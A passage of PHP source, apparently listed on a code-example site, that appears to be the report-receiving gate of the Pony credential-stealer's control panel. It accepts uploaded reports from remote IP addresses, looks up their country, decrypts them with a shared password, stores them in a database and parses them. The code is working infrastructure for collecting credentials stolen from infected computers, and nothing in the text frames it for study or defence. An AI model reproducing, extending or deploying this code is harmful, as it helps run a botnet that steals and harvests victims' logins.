示例#1
0
}
$report_id = 0;
// report data length should be inbetween 12 bytes and 900 Kb (default mysql query max. length)
$max_db_len_size = 1024 * 900;
if (strlen($received_report_data) > 12 && strlen($received_report_data) <= $max_db_len_size) {
    if (report_parser::verify_report_file_header($received_report_data)) {
        $report_status_ok = false;
        $ip_country = geo_ip_country_code($ip);
        $report_new_encryption = false;
        // check if new random encryption is used
        if (report_parser::verify_new_file_header($received_report_data)) {
            $report_new_encryption = true;
        }
        if (report_parser::check_report_crypted_header($received_report_data) || report_parser::verify_new_file_header($received_report_data)) {
            // try to pre-decrypt report data
            report_parser::pre_decrypt_report($received_report_data, $pony_db_report_password);
        }
        // add non parsed report
        $report_id = $pony_db->add_nonparsed_report($ip, $ip_country, $received_report_data);
        if ($report_id) {
            // there's new report available for parsing
            $report = new report_parser($pony_report_options);
            // process report
            ob_start();
            // detect report processing noise
            error_reporting(E_ALL);
            $parse_result = $report->process_report($received_report_data, $pony_db_report_password);
            $ob_data = trim(ob_get_contents());
            error_reporting(0);
            ob_end_clean();
            if ($parse_result) {